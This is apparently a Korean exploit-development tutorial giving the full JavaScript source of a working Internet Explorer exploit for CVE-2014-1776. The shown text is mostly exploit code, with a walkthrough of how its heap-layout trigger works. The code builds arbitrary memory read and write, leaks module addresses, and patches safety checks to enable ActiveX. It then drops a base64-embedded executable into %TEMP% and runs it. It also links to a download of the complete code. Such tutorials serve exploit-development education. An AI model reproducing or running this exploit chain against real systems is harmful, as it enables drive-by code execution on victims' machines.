      idx = Math.floor((b[0+ 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
      b[idx] = -1; b[idx+1= -1;
      idx = Math.floor((b[0+ 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
      b[idx] = -1; b[idx+1= -1;
      idx = Math.floor((b[0+ 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
      b[idx] = 0; b[idx+1= 0;
      // The following address would be negative so we add 0x10000 to translate the address
      // from the previous copy of the array to this one.
      idx = Math.floor((b[0+ 0x208 - (magic_addr + 0x20+ 0x10000)/4);   // index for Y+208h
      b[idx] = 0; b[idx+1= 0;
 
      b[1= magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4= 0;            // [U] (*)
      b[2= magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3= 2;                                 // [W+0ah]
      idx = Math.floor((b[2+ 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
      b[idx] = -1; b[idx+1= -1;
    }
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
//    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    trigger();
    
    // Locate the modified Array.
    idx = -1;
    for (var i = 0; i < 0x1000 - 1++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4= 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0== 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
//      alert("Can't find the modified Array");
      window.location.reload();
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4= 0x3fffffff;
    a[idx][array_len + 0x18/4= 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4= val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4= val;
    }
    
    function get_addr(obj) {
      a[idx+2][0= obj;
      return read(base_addr + 0x10000);
    }
    
    // Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc+ 8+ 0x10)) - 0x3aeb04;
 
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);
 
    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }
 
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50+ 0x44);
      if (read(string_addr) != 0) {         // only when there is a string to overwrite
        write(string_addr, 0x003a0043);       // 'C:'
        write(string_addr + 40x0000005c);   // '\'
      }
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
 
    // decoder
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/'');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // initialize result and counters
        var bc = 0, bs, buffer, idx = 0, output = '';
        // get next character
        buffer = str.charAt(idx++);
        // character found in table? initialize bit storage and add its ascii value;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // and if not first of each 4 characters,
          // convert the first 8 bits to one ascii character
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // try to find character in table (0-63, not found => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }
 
    function decode(b64Data) {
      var data = atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
//    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
cs


여기서도 runcalc는 생략했고 전체 코드는 아래 링크를 통해 다운받을 수 있습니다.

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code8.zip

이 코드는 잘 동작하지만 때로는 충돌이 발생합니다만 유저가 충돌 알림창을 닫게 되면 페이지가 다시 불려져 익스플로잇이 다시 실행되기 때문에 문제가 되지 않습니다.

 

새로운 코드에 미묘한 부분들이 있는데 중요한 부분에 대해 토의를 해보도록 하겠습니다. 먼저 trigger() 부터 보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198-1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
}
cs


getPattern 함수는 아래와 같은 형태의 배열과 패턴의 크기를 바이트로 가져갑니다.


[offset_1, value_1,

 offset_2, value_2,

 offset_3, value_3,

 ...]


반환된 패턴은 특정 오프셋 offset_1, offset_2 value_1, value_2은 지정된 크기의 문자열입니다.

 

위 주석들이 충분히 명확했길 바랍니다. 예를들어, 아래와 같이 있다고 고려해보면,


0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]


이는 magic_addr 배열의 첫 번째 요소가 b[0]일 때, X+0xc b[0]를 가리킴을 의미합니다.

 

좀더 이해를 돕기 위해 아래 구성을 고려해보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
  .
  .
  .
  elem.className = getPattern([
    0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
    0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
    0x198-1                           // bit 12 set
  ], 0x428);
  .
  .
  .
  // The object is 0x428 bytes.
  // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] is writable
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000++i) {
      a[i] = new Array(array_len);
 
      var idx;
      b = a[i];
      b[0= magic_addr + 0x1b - 0x878;         // Y
      idx = Math.floor((b[0+ 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
      b[idx] = -1; b[idx+1= -1;
      idx = Math.floor((b[0+ 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
      b[idx] = -1; b[idx+1= -1;
      idx = Math.floor((b[0+ 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
      b[idx] = 0; b[idx+1= 0;
      // The following address would be negative so we add 0x10000 to translate the address
      // from the previous copy of the array to this one.
      idx = Math.floor((b[0+ 0x208 - (magic_addr + 0x20+ 0x10000)/4);   // index for Y+208h
      b[idx] = 0; b[idx+1= 0;
 
      b[1= magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4= 0;            // [U] (*)
      b[2= magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3= 2;                                 // [W+0ah]
      idx = Math.floor((b[2+ 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
      b[idx] = -1; b[idx+1= -1;
    }
cs


구성 중 아래 부분을 보시면


1
2
3
//   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
//               [Y+208h] is 0
//               [Y+630h+248h] = [Y+878h] val to inc!      <======
cs


보시다시피,


X = [ptr+0A4h] = magic_addr + 0x20 - 0xc

이기 때문에, X+0xc b[0]를 가리킵니다.

 

그러면 우리는 아래를 얻을 수 있는데,

b[0] = magic_addr + 0x1b - 0x878;         // Y


이 의미는 다음과 같이 됩니다.


Y = [X+0ch] = magic_addr + 0x1b - 0x878

이는 [Y+878h]가 증가를 위한 값 임을 알 수 있습니다. Y+0x878 magic_addr+0x1b 로써, 이는 magic_addr (0xc000000)에 있는 배열 크기의 최상위 바이트를 가리킵니다. magic_addr+0x1b에서 dword를 증가시키는데 이는 같은 주소의 바이트를 증가 시키는 영향이 있습니다.

 

아래 구성 역시 [Y+208h] 0으로 만듭니다. 이는 아래 줄을 통해 가능합니다.


1
2
idx = Math.floor((b[0+ 0x208 - (magic_addr + 0x20+ 0x10000)/4);   // index for Y+208h
b[idx] = 0; b[idx+1= 0;
cs


여기에 2가지 중요한 부분이 있습니다.


1. Y = b[0] = magic_addr + 0x1b - 0x878 이기 때문에 4의 배수가 아닙니다. 이때문에, Y + 208h 역시 4의 배수가 아니게 됩니다. 잘못 정렬된 dword [Y+208h]을 수정하기 위해, dword [Y+206h] dword [Y+208h] b[idx] b[idx+1]로 일치시켜야 합니다. 이 때문에 Math.floor를 사용하는 것 입니다.


2. b[0] + 0x208 - (magic_addr + 0x20)은 음수 입니다. Y+878h magic_addr 배열의 해더를 가리키고 있기 때문에, Y+9b0h Y+a24h는 같은 배열을 가리키지만 Y+208h는 이전 배열을 가리킵니다. 모든 배열은 동일한 내용을 갖고, Y+208h+10000h주소에 값을 쓰는 것에 의해 배열들은 각각 0x10000 바이트씩 떨어져 있기 때문에 결국, Y+208h 주소의 메모리에 값을 쓰게 됩니다.


결론을 내리자면, tigger는 오직 한 번만 호출됩니다. 단일 증가로도 충분한 이유는 magic_addr에 있는 배열의 끝에 있는 몇 바이트만 쓰면 되기 때문입니다.

댓글